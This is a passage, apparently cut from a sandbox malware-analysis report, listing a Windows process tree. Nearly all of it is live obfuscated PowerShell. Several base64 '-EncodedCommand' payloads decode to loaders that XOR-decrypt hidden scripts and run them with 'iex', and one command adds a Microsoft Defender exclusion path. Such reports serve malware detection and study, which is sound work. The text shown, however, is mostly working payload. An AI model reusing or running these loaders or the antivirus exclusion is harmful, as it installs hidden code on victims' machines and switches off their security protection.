JABoAGQAcwBsAGEAZQBpAGUAWwAkAGkAJQAkAGgAZABzAGwAYQBlAGkAZQAuAEwAZQBuAGcAdABoAF0AfQApACkAKQA7AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABrAGMAagB0ACkAKQB8AGkAZQB4AA==
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2296
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Packages'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5932
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -EncodedCommand JABtAG8AbgBqAD0AJwBCAEMARgBDAGUAZwBGADUARgBFAHcATABLAFQAVQBEAEIAeQA5AEcARwBnAEYAcABQAGsAZwBMAFAAVQBSAFAARwAxAHQAawBKAEEAQgBwAE8AZwBnADEASQBoADkAUABHAHkARgA0AFAAZwBaAGMAUABnAGcAeQBMAFQASgBKAEEAZwBWAFcAUABnAFoAYwBJAGcANAAxAFcAVABwAHcARgBDADUAawBPAHcAQgAyAEgARQBnADAAUABFAFEATQBBAFEASgBXAEkAZwBCADAAUABrAGsAeQBCAEQANQBXAEwAQQBkAGoASQBTADkAaQBSAFQAYwBJAFAAVQBWAFcAQQBSAE4AQgBKAFEAZABmAEkAZwBvADEATABUADUAQQBCAHkAMABDAEsAVABZAEQASgBrAGcAZABQAEQAcABRAEwAeQA1AGsASgBRAEIAbQBDAEIAUQBMAEwAQwBaAFMATABWAHQAQgBLAFEASgB5AE0AaQB3AEwAUABRAHgAVwBGADEAcABqAE8AagBBAEQATwBnAGsATABQAFQAbwBLAEIAeQBvAEQAQwBBAEYANQBNAGgAQQB6AEIAeQBaAHIATABRAFEATABPAFQANQBwAE8AawBnADAATwBUAFoAdgBGAHoARgA4AFAARABGADIATgBrAGcAdwBLAFQAVgBPAEcARAA0AEgAUABnAGQAcABKAGgAUQBlAEUAQQBkAFIASwB5AEYANABPAEEAYwBEAEkAZwAwAFkATABrAFIAZABHAGcAUgBrAGYAUwBoAGsAUwBSAEUAdwBCAHkASgBRAEsAaQBwAHcARwBnAEYAcABQAGsAZwBMAFAAVQBSAFAARwB3AFIAMABPAHoANQAyAFMAUQB3AGUARQBBAGQAUgBGADEAcABhAEkAdwBkAHkATQBVAEUAWQBLAFMAWgBQAEsAagA1AEsAUABTAHQATABBAHgATQB3AFAAUgBCAFMARgAxAHAAZwBmAEEARgBtAEsAUgA4AEIATwBUAFYAUgBMAEEAZABrAFAAUQBaADEAQQAwADgAYgBMAFQANABJAEwAVgBwADMASwBUAFIAaQBNAFIATQB6AEIAQwBKAEoATABDADEAQgBlAFEAQQBEAEcAQQBnAHoATABTAEYAZABCAFMAcABnAE4AdwBCADIAQgBFAGcASQBCAEQAbABQAEgAMQBzAEwAZgB3AFoAZgBJAFIAOABkAFAAUgBBAEsAQgB5ADEAegBLAFMAaABtAE4AZwAwAEwASwBUAFYATwBMAEEAUQBMAGYAaQAxAHkASQBoAEkAMABMAFMANQBOAEIAVABwAHcAZQBTAHQASQBJAGcAZwBMAFcARABKAFEASwBpAEYAbwBlAHoANQBZAE0AVQBFAFkASwBTAFoARABLAGkANQBHAGYAagAxAGYAUABoAG8AYgBJAGgAeABEAEwARgBwADgASgBRAFoAWQBSAFQAYwBMAE0AaAB3AEsAQgBTADEAegBQAFMAMQB5AEkAZwBFADEATABRAEEASwBGAHcAZAAvAE8AegBVAEQAUwBVAGsAegBCAEMAVgBLAEYAagAxAEIAZQBTADUANQBQAGsAbwB3AEwAUQB4AFEAQgB5ADAAQwBLAFQAWQBEAEoAawBnAGQAUABEAHAAUQBMAHkANQBrAEoAUQBCAG0AQwBCAFEATABMAEMAWgBTAEwAVgB0AEIASwBTAGgAbgBJAGgAQQB5AFcAQQBCAHIARgB6AEYAZwBJAFMAMQB5AEkAZwBnAEwAVwBEAEoAUQBLAGkARgBvAGUAegA1AGIAQQAwADgAdwBQAFMAMQBkAEIAUwBwAGcATgBBAEIAYwBHAEEAcwBJAEUAMABGACsATABGAHAAawBPAHcAQgB5AE0AUQB3AEwAVwBTAFYAZABBAHkAcABaAEsAUQBGAEwAQQB4AE0ASQBXAFIAeABYAEwAUwBwAHoAZAB5ADEAeQBJAGcASQAxAEIAeAB4AEoARgAxAGgAQgBKAFEARgA1AE8AZwA0AHkAVwBDAFoAUABBAGcASQBIAEkAZwBGADUASQBSAGMAYwBLAFEATgBkAEIAQwBGADgAZgBBAFYAMgBDAEIASQBkAEEAVABwAE0ASwBqADQASABmAGkAOQBuAFEARQA4AGUARQB5AFoAVABLAGcAZAA4AE4AaQAxADEAUQBCADgAdwBQAFMAMQBkAEIAUwBwAGcASgBBAEYAMgBLAGcAOABkAEEAUwBaAFcATABWAHQAOABOAHcAVgBwAE0AawBnAHcAUABVADEAUABCAFQAcAB3AGUAUwAxAHkASQBoAEkAMABMAFMANQBOAEEAZwBKAGcASQBnAGMARABQAGcARQB3AE0AagBZAEsATAB6ADQATABPAHkAMQA1AFEAQgA4AEwAUABRAHgAQQBGAEQAcAB3AGUAUwAxAHkARgBoAEUAKwBJAHoAVgBVAEIAeQBFAEMAZQBTAHMAQwBRAEIAOABMAFAAUQB4AEEARgBEAHAAdwBlAFMAdABJAEkAZwBFADEATABRAEEASwBGAHcAZAAvAEsAVABSAGkATQBSAE0AeQBCAEMAWgBJAEsAaQA1ADQATgBDADEANQBCAHgAOABIAFcAQgB4AFcATABRAFIAbgBPAGoAQQBEAE8AZwBrAEwAUABUAG8ASwBCAHkARgBCAEsAUwA1ADMAUwBCADgAZABQAFUARgBXAEIAeQBwAGcAUABqADQARABOAGgASQAxAEkAaQA0AFAARgBBAEIAdwBkAHkAdABMAEIARQBFAGUAVwBVAFEATgBMAHoANQByAEsAUwA5AHkASQBoAEkAMABMAFMANQBOAEIAVABwAHcAZQBTAHQASQBJAGcANAAwAEIAQwBKAE4ASwB6AEYAZwBQAFMAMQAxAFEAQgA4AEYAQgB5AEkASgBBAGoAOQA4AEoAQQBWADIASgBoAE0AMQBQAFEAeABXAEYAQwA5AGcASgBnAGMARABCAEQAbwBJAFcAUwBaAEsATABGAHMARwBLAFMAaABrAEoAawB3AEwAUABUAG8ATABLAGkANQBuAEsAUwA0AEIAUABVADQASgBMAEMASgBBAEYARABGADQATgBEAHgAMABOAGgATQB6AFAAUgBoAFAARgBpAHgAMABPAFEAZAAwAEkAaABBADEATABUAEoAWgBHAGkANABMAEoARAAxAG0AQwBCAHMARQBMAFQASgBRAEwAMQB0ADAASQBEADUAcABQAGgAcwBGAFAAUgBoAFEATABRAFEATABOAEEAWQBEAEsAawBnAGQAQgBqAFoATQBLAGwAdABrAE4AegBWAHAASgBrAGcAegBXAEUAVgBTAEsAaQA1AGsAQwB6ADUAcABQAGcAbwAxAEwAVQAxAE4ARgBoAE4ANABmAFQANQBtAEIARQAwAEkAQgB6ADEAQQBBAFMANQA0AEoAdwBBAEQASgBoAHMASQBXAEUAMQBQAEYAQQBSAGcASgBEAHgAMwBNAGoAbwBEAEsAVQBGAFcASwB5ADUAbgBJAEMAdABMAEEAeABNAEkAQgB3AFIAUQBMAFYAdABLAFAAVAA1AG0ASAB4ADgAQgBPAFQAVgBWAEgARgB0AGsAZgBpAGgAawBJAGgAQQAxAEwAUwBGAEsAQQBnAEoAMABKAFQANQAwAEkAaABBADAATQBqAGwAVgBBAHoAcABaAE8AegBaADIATgBrAGcATABPAFUARgA0AEYAQwA1AGcAQgB3AFkAQwBKAGcARQB5AEUAeABNAFAAQgBUAG8ASABEAEQANQAyAEkAagBZAHcAUABVAEUATABLAGkANQBrAE4AQwA5ADEATgBVAHcAYQBQAGcAYwBOAEIAQwA0AEQAUABnAFUAQwBNAGgATQBMAEsAVABVAEQAQgB5AHcASABJAGcAQgBJAFEAUwB3AEkAVwBCAHgAVwBGAEMARgBrAFAAVAA1AG0ASQBpADAASQBNAGoAcABJAEcAQwBGADQAUABqADQARABGAEIAUQB5AEEAegBWAE8ASABDADUAMABQAGcAWgA1AEcAeAA4AGQAUAB6AEkASwBCAHkAcABnAEoAdwBWAGMAUABnAEkAegBMAFEAeABXAEwAdwBOAEIAZQBTADUANQBGAEEAZwB3AFAAUgB4AEoATABUADUAYQBJAHkAMQAxAFEAQgA4AEYAQgB5AEkASgBBAGoAOQA4AEoAQQBWADIASgBoAE0AMQBQAFEAeABXAEYAQwA5AGcASgBnAGMARABCAEMAawB5AEIAeABoAFAARgAxAHQAZQBPAFQAMQBtAEIAeAA4AGQAUABDAEoAQQBGAEQARgA0AEIARAA1AHkATQBSAE0AMABCAEIAdwBPAEsAbABwAGEASgBTADEAeQBRAFQAVQB6AFcAQgBCAE0ATABBAFYAZwBlAHcAZAAyAEoAUgA4AEMAUABVAEUASwBGAEQARgA0AEoAagAwAEMASQBnAGcAMQBCAHkARgBkAEEAagA5ADQAZgB3AFoAYQBDAEIAUQAxAEIAeQBKAEoAQgB5AHgAYQBQAGoANABEAEcAQgBRAHkAVwBTAFUATgBBAFIAQgBnAEoAUQBZAEMARgBFAGsAMQBCAEIAZwBNAEIAeQAwAEMASwBUAEIAYwBKAGsAcwBkAFAARABwAFEATAB5ADUAawBKAFEAQgBtAEMAQgBRAEwATABDAFoAUwBMAFYAdABHAEcAagA1AHAASQBrAGcAdwBQAFUARgBVAEwAVgBoADgASQBnAEIAeQBNAFEAdwBBAFAAUQB4AEoATABGAHAAVwBHAGcAQgAyAE4AZwBFADEATAB4AGgAWABHAGwAcwBIAEQAVAAxAHAASQBrAGcATABNAGoANQBLAEYARABGAC8ASwBTAGgAawBJAGcANAB6AEIAQwBaAHUASwBpADQATABPAFQAZABtAEsAagBBAHoAVwBCAGgAUABGAEYAawBMAE8AegBWAGMATgBrAGcAMQBMAFMASgBEAEwAegA1AGsATgBDADEAeQBRAFMAdwAxAEwAVABKAEQASwBpADkAVwBJAFQANQBtAFIAVABvADEAQgB6AEoASwBMAEMANQAwAEoAdwBaADIASgBSADgAZABQAHgAeABLAEYAQwA1AGcASQBnAFoAYgBBADAAOABiAEwAUwBaAE0ASwBsAHAAawBmAEEARgBwAEgAdwAwAEQATQBoAHgAVwBGADEAcABrAGYAZwBWAG0AUwBRADAASABMAFIAaABPAEYARAB4AEsAUABnAFoAbQBIAEUAZwBZAEwAawBSAGQAQgBGAGgAdwBHAHkAbAAzAFAAUgBZAGUARQBBAGQAUgBGAEMANABMAGYAUQBCAHAASwBrADAAMABBADAARgA0AEwAQwA1AEsATwBBAEEAQgBHAEIAQQB5AEIAeQBaAHYARgBEAEYANABPAGcAVgBtAFIAUgBBADEATABTAEYAZABIAGoAcAB6AEoAVAA1AGMATgBnAHMAeQBXAEMARQBOAEEAUgBCAGcASgBRAFkAQwBGAEUAawAxAEIAQgBnAE0AQQBnAFYANABJAGcAYwBDAEkAaABBAHkAQgBDAFoAdwBMAEEAZABnAEkAZwBkAGYASwBoAEEAegBLAFQAVQBEAEIAeQBwAFcASAB6AEoAMQBQAFEAOABGAE8AUgBjAE4AQQBSAEIAZwBKAFEAWQBDAEYARQBrADEAQgBCAGcATQBBAGcAVgA0AEkAZwBjAEMASQBoAEEAeQBCAEMAWgArAEwARgBwAGsATwB3AEIAeQBNAFUARQBZAEwAaQBVAE8AQQBSAE4AQgBKAFQANQAyAFMAVQBzADEATQBpADQAUABLAHcAQQBIAEcAZwBCADIATgBnAEUAMQBMAEIAQgBWAEYARAA0AEgARABBAEIAYwBOAGcAZwB6AEwAVABKAFQATABDADUAbgBLAFQAUgBpAE0AUgBNADEASQBqADQATABGAEQAMQBCAGUAUwA1ADIASQBnADQAMQBXAFMASQBJAEsAegBGAGQATwB6AEkARABOAGcAbwBMAFAAQwBaAE0ARwB3AGQAawBPAHkAMQAxAFEAQgA4AGIASQBpAFoARABLAGoANQBuAGUAUwB0AEkASQBoAE0AegBXAFIAQQBMAEsAZwBkAGUAZQBDAGgAYQBOAGcAcwB6AEwAVQAwAEoASABDADUAawBPAGoAMQBtAFIAUgBNAEUAVwBTAFoAUwBMAFEAZABqAEsAVABSAGkATQBSAE0ATABCAHoASgBKAEwAVgB0AG4AZQBTAHQASQBJAGgAUQB5AFAAVAA0AFAAQgB5ADAAQwBLAFMAMQBZAEkAUgBjAGIATABUAG8ATwBGAEEAZAB6AE8AegBKADIATgBnAEkAdwBXAGsARgBTAEwARAA1AG4AUABsAEIAQQBNAHoAawBZAEEAQQBjAE4ARwB3AFIAawBJAEEAVgBwAFAAawBnAEwATQBqADEATwBHADEAdAA4AEkAVAA1AG0ASQBrAGsAegBMAFMASgBSAEcAQwA1ADAATgBBAFYASQBNAFEAdwBBAFAAVABvAEsATAB6ADQATABPAHkAMQB5AEkAZwA0ADAAQgBDAEoATgBLAHoARgBnAFAAUwAxAHkAUQBTADAAeQBCAHgAaABVAEYARgB0AGsATgB5ADEAeQBJAGcAdwB3AFAAUQBCAE4ARgBDADUAagBLAFMAaABuAE0AZwBFAHcAUABVAEYAUQBMAHoARgB3AEoAZwBaAHkATQBSAE0AMQBXAEIAaABLAEwAeQA1AEsATgBnAFYAMgBLAFIAOABkAFAARABwAFcASwBpAEYAZwBQAGcAWgBjAEYAQQBJAFkASwBTAFoAUgBMAEYAcABXAGYAdwBCAGYASABFADQAWQBLAFUAVgB2AEYAegBGADgAUABEAEIAYwBOAGcAdwBMAE8AVABWAFIARgBEAEYAMABKAHcARgBpAE0AUQB3AEgATABUAEoAQQBMADEAaAB3AEoAZwBCADIARgB4ADgAYgBMAFIAaABVAEYAegA1ADgAZgBnAEIAZgBIAEIAVQBZAEsAVQBWAC8ARgBEAEYAOABKAEEAZABjAEgAQQA4ADEATABSAGgATQBMAEEAQgB6AEoAVAAxAGYASwBnAEkAeQBPAFQAVgBPAEgAQQBRAEwATgB6ADAARABKAFUAOABlAFcAVQBRAEgAJwA7ACQAawBhAGkAdwBzAHUAbABhAD0AJwBOAGkAMgBOAGQAMQBwAHgAUQBqAHQAOgAnADsAJABiAG8AcwBvAG8AaQA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABtAG8AbgBqACkAOwAkAHQAcwB1AGoAPQAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAKABmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAYgBvAHMAbwBvAGkALgBMAGUAbgBnAHQAaAA7ACQAaQArACsAKQB7ACQAYgBvAHMAbwBvAGkAWwAkAGkAXQAtAGIAeABvAHIAWwBiAHkAdABlAF0AJABrAGEAaQB3AHMAdQBsAGEAWwAkAGkAJQAkAGsAYQBpAHcAcwB1AGwAYQAuAEwAZQBuAGcAdABoAF0AfQApACkAKQA7AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAB0AHMAdQBqACkAKQB8AGkAZQB4AA==
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1944
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -EncodedCommand JAB3AGkAcAB6AGMAcAA9ACcAYwBoADgAegBKAFQARQB1AEwAawB4AHYAVABnAG8ATwBjAFIANABSAEgAagBBAGIARwBFAHAAdgBZAEgAdABDAGIAVwBvAHoASQBEAEUAYgBIAEEAcABSAGYAeQBCAEMAYgBSAEEAdgBPAGoAYwB1AEcAQQBwAFcAYwBBADEARQBkAEQAUQBCAE8AagBjAHUAQgBBAHgAUgBCAEEAVgA5AFkAaAA4AHoAUAB6AEUARQBPAGsAcABRAFkAWABzAEIAZAB6AE0AQgBKAGoARQBHAEcARQB0AFcAVwBRAEYAYgBXAGoAWQAwAEoAUgA0AFEAWQB6AFYAcwBZAEgAcABiAGQAeQBJAFcASQBUAFkAYgBIAEIASgBRAGIAeQBNAEcAWABUAEUAawBjAHgAdwBHAE0AaABaAFIAZABIAHAAagBZAFcAbwBOAEoAZwA4AEwAQQBBAGwAdgBZAEIAbABpAFkAUQBBAHIATwBCAHcATABJAFIAMQBnAEIAUgAxAEUAWQBnADgAcgBlAGgAawBXAGIAeABOAFUAVwBoADEAZABYAEIAcwBrAFAAZwBjAGIAUABnADEAcwBZAEgANQBjAGIAUgBBAHYAUABEAFkARQBBAEEATgBSAGYAeQBCAFEAYgBoADgAagBNAEQAUgB5AEYAQgBKAFIAYwBDAHgAUQBkAEEANAB6AFAAegBRAGIARQBFAHQAdgBZAHoAZwBBAGMAaAA4AGoAZgBBADgATABFAHgAMQBsAFoAQQBsADQAWQBnAEEARwBQAGcARgB4AEgAQQB0AHYAWQBBAFUASABjAFIANAByAGYAegBaAHcAQgBCAFoAWABaAEgANQBrAFkAUQA5AFEASQBUAGQAeABaAGsAMQA2AFQAaABsAE8AWABSADgAQgBQAHoAUQA2AEYAMABOADgAZABCAGwAQwBYAEEAOABkAE8AUgBvADUASgBSAEYAVQBiAHgAMQBGAFcAeAA4AHMATABRAFUAUQBGAHgARgBYAFcAUgAxAEUAVwBoAHcAVwBmAFIAOABMAEcAQQB0AFUAQgBRAFYAZABYAFEAcwBrAGMAeAB3AEEAQgBBADkAUgBZAEQATgBFAGQAeQBJAFIAZQBUAFEARQBPAGcAbAB2AFoAQQBwAFkAYwBoAEEAagBNAHcAdwBiAE8AawA1AFIAYgB5AFIAQwBhAFcAcABjAGUAegBjAHQAQgB4ADEANQBZAEMAOABIAGMAUgB3AGsATABSAGsAVQBFAEEAOQB2AGQAQQBwAEQAVwBqAFYAYwBlAGgAdwBBAEIAQQBOAFEAYwBDADkAQwBXAFMARQBPAEwAVABBADUASgBSAEYAVQBiAHgAMQBGAFcAeAA4AHMATABRAFUAUQBGAHgARgBXAGIAdwBGAGYAWABRAEEATgBlAHoAQQB2AEoAUgBGAHMAYgB6AHQAYwBXAHcAdABRAEIAUQA4AGIAUABrAHAAKwBjAHcAcABFAGMAUgBzADMATQBqAFkAdQBFAEUAOQBRAGYAeAAwAEIAZABEAE0AcgBQAEQARQBVAFkAMABwACsAWQBYAHMAQQBkAHkARQAzAE0AegBFAHUASgBrAHAAOABjADMAdABRAGEAbQBvAHoAZQBoAGsAVgBHAEIAQgBVAGMAQgAxAGMAWABBADgAZABKAGcAOABGAEIAQgBKAFcAQgBUAGgAUQBkAEEANAAzAEkAagBaAHgASQBpAHQAcwBiAHgAbABZAGMAUgBzADMATwBqAEUAVQBJAGcAMQBzAFgAVABnAEEAVwBRADgAOABMAFIANABBAEIAQQBOAFIAVwBqAHMASABkAEQATQByAFAARABFAFUAWQAwAHAAOABkAEgAcABaAFgAQgBzAGsAUABSADQAUQBGAEUAMQA2AFQAaABsAE8AWABSADgAQgBQAHoAUQA2AEYAMABOADgAZABCAGwATwBYAEQAVQBWAGUAZwBJADYAQgBCAEoAUQBXAGgAbABQAGQARABOAFEASgBqAEEATABCAHgAVgA0AGQARAB4AFEAYwBoAEEAdgBlAEQAUQB0AEIAdwA5AGsAQgBYAEkARwBXAGoAWQAwAE8AZwAwAFgASgBVADEALwBmAHcAVgBHAFcAVwBvAHIASQBEAEEAUQBGADAATgA4AGMAQwBkAGEAYwBSAHMAQwBJAFQAWQB0AFAAaABSAFgAVwBqAGgAQwBhAGgAOAB6AE0AQQB4AHcASABBAHAAVwBmAHgAbABIAFcAbQBwAFIATwBoAHcATABKAFIAMQAvAGYAdwBFAEQAWQBtAHAAUQBPAEIAawBvAEIAQgBaAFcAQgBRAFYATwBXAFEAQQBuAGUAagBRAFUAYgB3ADkAOABmADMAdABRAFkAZwA4AGQATQBBADgAUQBGAEUAMQA4AGQAQwAxAGUAVgB4AEUAawBKAEIAdwBMAFoAawAxAFQAWgBBAGwAYgBXAGgAQQByAEoAaAB3AEwASgBVADEALwBmAHcAMQBPAFkAUQBBAEoAZgBqAEUAYgBPAFIAMQBsAFoAQQBwAGMAVwB3AEEAdgBJAGoAQQBiAFAAawB0AFEAWABnAGsAUABjAFIANABCAEoAUQA4AGIASABCAFoANQBZAG4ASgBlAFcAVABVAHoASQBEAEUAQQBGAEUAMQA4AGQAQgBsAFIAYwBSAHQAVQBQAHcAOABRAEYAeABGAFUAYgB4ADEARgBXAHgAOABzAEwAVABNAFgASQBrAE4ANgBCAEgAcwBBAFcAUQA4ADgATABSADQAQQBCAEEATgBRAGMAQwA5AEMAVwBTAEUATwBMAFQAQQA1AEoAUgBGAHMAQgBRAFYAZgBXAGgAOABqAE0AQgB3AEgAWgBoADEAaABXAGgAMABFAGQAQQA0AHIASQBEAFEARQBBAEIARgBSAFkARABOAGIAWQBoADQAMwBJAGoAWgB4AEkAagBoAHMAQgBCAGwASABXAG0AcABSAEwAUgBrAFcAQQBFADUAdgBZAEEAVQBHAFgAQgA4AHcATABSADkAegBHADAAeAB0AGMAUgAxAE4AWQBnAEEAdgBNAEEAMABHAEUAQgBGAFgAWQBDAGQAQwBZAEIAMABqAFAAVABZAEcAQgBCAEoAUgBjAEEAMQBVAGIAQgA5AGMASQBBAHcAVQBMAGgAbABnAGMAQQAxAGQAVwBXAG8AagBKAEEAOABiAEcAQgBsAGgAWQBDAGQAZABXAHoAVgBjAE0ARABkAHgARABFAHAANQBXAHcAbABmAFcAUQA5AFEAZQBnADAANQBCAEUAbAB2AFkARAA4AEMAWQBUAFUAbwBlAEIAbwBFAEgAQgBOAFIAQgBSADEAVQBZAGgAOABqAGUAZwB3AFYATABpAHQAcwBZAEMAZABDAFgAQgB0AFEASgBqAEEARQBBAHgAUgA2AFQAVABoAGMAVwBtAG8AZABlAEQAWQA2AEYAMABOADgAYwBuADUAYgBYAEMARgBVAEgAZwB4AHgAUABoAFoAdgBmAHgAMQBFAFkAZwA4ADMASAB3AHcAYgBHAEEAaABqAGYAdwBGAEgAWQBtAG8AQgBKAGoAWQBxAEYAdwA1AGsAYgB4AGwANgBXAG0AbwBCAFAARABjAHAASgBVADEALwBjAEgASgBFAFgARABZAG8AUAB3AGMARQBBAEEAbABzAGIAeQBCAFEAYQBBAHMAawBKAEEAQQBGAEIAdwBCADQAYwBRAFoAWgBkAHkASQBXAEkAVABjAEUASABFAHAAUgBXAFEASgBRAGEAQQBzAG4AQgBRADgAYgBOAFEANQBnAEIAUQBWAFkAWQBnADgAMwBlAHoAYwBFAEEAQgBGAGoAYwBBADEATgBXAFcAawAzAE0AegBRAFUATQBoAFIAdgBiAHcASgBRAGQAQQAwAGoAZQBnAEIAdwBCAEIASgBXAFcAUgBrAEcAVwB4AHcAVwBmAFIAOABFAEwAaABOAFIAZgB4AEYATwBkAEQATQAzAEoAagBjAEUARQBFADkAOABjADMAdABRAGMAbQBrAG4ASAB4AGcAVwBaAGgAUgA2AFQAVABoAGMAWABCAEEAdgBKAHoAUgB4AEwAaABkAFcAWABnAG8ATwBjAFIAMQBRAEoAagBFADYAWgB5ADUAcwBCAFMATgBiAFkAaABBAHoATwBRADgAVQBCAEMAOQBzAGIAdwBWAEYAYgBSAEEAdgBPAGoAYwB1AEcAQQBwAFcAYwBBADEARQBjAFIAdABVAEgARABaAHgAQQBBAE4AbQBZAEIAcABRAGMAaAA4AHoASgBUAEUAdQBMAGsAeAB2AFQAZwBwAEQAYgBCADkAYwBKAEQAZAB4AFkAeQA5AFEAYgB3AGwAYgBjAFIAMABKAFAAegBFAEUAQQBBAE4AcwBZAEEAVQBIAFcAUQBBAC8ASgBoAHcAQQBaAHkAbABSAFkASAA1ADYAWQBnAEEALwBKAGoAYwBBAEYARABOAFUAWQBDADkAWQBZAGcAQQByAGUAaABvADUASgBSAEYAVQBZAEMAZABPAFcAagBFAGsAYwB4AHcARwBZAHgAWgBSAFQAbgBwAGoAWQBXAG8ATgBKAGcAOABMAEEAQQBsAHYAWQBCAGwAaQBZAFEAQQByAE8AQQBCAHgAQQBFAHAAUgBjAEMAZABDAFkAbQBzAHIASABnADgAYgBCAHgAMQA1AFkAZwAxAEUAVwBoADkAYwBlAFEAQgB3AEIAQgBKAFcAVwBSAGwAOQBZAGoATgBjAFAAdwBRAHUARQBFAHAAUgBjAEIAMQBPAFcAUQA4AHoATQBCAHcAQQBaAHoAOQBYAEIAWAA0AEgAYgBXAHMAMwBQAEQAWQBHAE8AaABkAG4AQgBYAEoASABXAGoAVQBCAEcAagBjAG8ASABCAEoAUgBmAHgAbABiAFcAegBVAEoASgBqAFkANgBGAHcANQBnAEIAQgBsAGYAVwB6AFkAMwBFAGoAUQBFAEEAQQA5AGsAYgB4AEYAZgBXAFEAOABkAEkAZwB3AHUATABoAFoAOABkAEgAcAArAFcAUQA4ADMASQBRADgAVQBZAGsAMQA2AFQAaABsAEgAVwBRAEEAdgBQAHgAawBvAEEARQA1AHYAWQBBAFUARwBYAEIAOABKAFAARABjAHYAQgBBAHAAWABZAEIAMQA2AFcAUQA5AFUATwBqAEUAQQBGADAATgA4AGQAQwA5AG0AYgBoAHcAbgBIAGgAOAA1AEoAVQAxAC8AYwBDAGQASABXAHoAVgBSAFAAdwBRAFUATABnAGwAWABCAEMAOQArAFkAUQBBAHYASQBRAE0ARQBBAEEATgBYAFkAQwBkAEMAWQBRAEEAMwBKAGgAdwBIAFoAaAAxAC8AYwBCAEYAZgBXAGgAQQByAEoAaABvADUASgBSAEYAVQBZAEMAZABPAFcAagBGAFEARwBRADgAYgBHAEUAcABzAGIAdwBFAEgAYQB3ADkAUQBlAGcAOABiAEgARQBoAHMAWQBEAHgAUQBhAEEAcwBrAEoAQQBBAEYAQgB3AEoANwBZAG4AdABaAGQAeQBJAFcASQBUAFEAVQBPAGcATgBYAFgAbgA1AGsAWQBnAEEAcgBlAGcAdwBiAEgARQBwAGsAQgBYAEkARwBXAGoAWQAwAEwAUQBVAFEARgB3AEoANABjAHoAZwBBAGMAaAA4AEoATwBqAFkAdQBZAGcAOQBrAFkARABOAEUAVwBtAHMAQgBEAHcAOABVAFoAeABKAFgAVwBoAGwAagBYAEIAOABqAE0AegBFAEEARgAwAE4AOABkAEIAbABhAFkAUQA4AGQATQBBADgAWABKAFUAMQAvAGMAQwBkAEgAVwB6AFYAUgBQAHcAQgB3AEIAQgBKAFcAVwBSAGwAdgBXAFIAOAB6AFAAdwBRAGIARABCAEoAVQBZAEQATgBmAFkAVABVAGQASgBoAHcASABaAGgAMQAvAGYAeABsAE8AWABBADgAdwBmAFIAbwA2AEIAQQBwAFUAYgB3AEYAQwBkAEQAUQBCAEkAagBSAHgAQQBDADkAWABCAGcARQBHAFcAagBFAGsAYwB4AHcAQQBCAEUAcABXAFcAUgAxAGIAZAB5AEkAVwBJAFQAQQB1AFAAZwAxAHMAQgBCAEYARABXAFcAcwBzAEwAUQBVAFEARgB4AE4ALwBkAEMAeABjAFcAegBZAE4ASgBEAGMAdQBKAFEAOQBqAGMAQQAxAE4AVwBXAGgAUQBJAGoAYwBVAEEAdwBvAEIAUgBnAGgAMgBjAFQASQBXAGYAVABFAEwASABFADkAOABmAHoAZwBBAGMAaAA4ADMATQBqAEEAYgBPAGgATgBVAFkARABoAFEAYQBBAHMAbgBHAFEAOABVAE0AZwBwAFcAQgBCAGwAYgBXAHoARgBVAEgAZwB4AHgAUABoAFoAdgBmAHgAMQBFAFkAZwA4ADMASAB3AHcAYgBHAEEAaAA4AGQASABwADEAWQBXAHMAMwBPAGoAZAB4AFkAaAAxAC8AYwBBAFYAZABZAFEAOABkAEkAagBZADYARgB3ADUAagBmAHcARgBIAFkAbQBvAEIASgBqAFkAcQBGAEQAdAArAGQAQgBsAEIAVwBoAEEALwBNAEIAawBBAEYAeABGAFgAYwBBAEUASABYAEQAWQBzAE8AaAB3AEEAWgB5AHQAVwBXAGkAZABDAFkAVwBvAEoAUABRAHcAVQBJAFIAMQAvAGYAeABsAE8AWQBqAFUAUgBPAFEAOAB0AEgAeAAxADUAWQBRAFYAYgBYAEIAQQAzAE8AagBjAHUATQBnAEIAOABkAEIAbABIAFcAUQBBAHYAUAB4AHcAQQBaAHkAOQBzAGIAdwBWAEYAYgBEAFUAagBQAGcAOABRAEYAeABGAFEAVwBpAE4AQQBZAFcAcwAvAFAAagBSAHcASAB4ADEANQBZAFIAbABmAFcAMgBvAFIARwB3AHcAYgBCAEIAVgA4AGQAQgBsAEgAWABBADgAUgBQAFEAdwBxAEYAdwA1AG4AYwBCADEATgBZAFcAcwB2AE8AagBZAEwAQgBBAHAAWABCAFgAOQBRAGMAaABBAHIATwB6AFIAeABHAEIAQgBRAFoAQQBwAEQAYQBqAFYAYwBNAHcAeAB4AEEAMAAxADYAQgBTAGQAYQBjAFIAcwBDAEkAUQA4AEwARQBFADkAUQBZAEEARgBIAFcAUwBFAE8ATABUAEEANgBGAEIAWgBRAGMAQwBjAEgAYwBSAHcAawBMAFQATQBRAEYAQgBaAFgAZgB3AFYAYgBjAFIAQQBXAEwAUQA4AG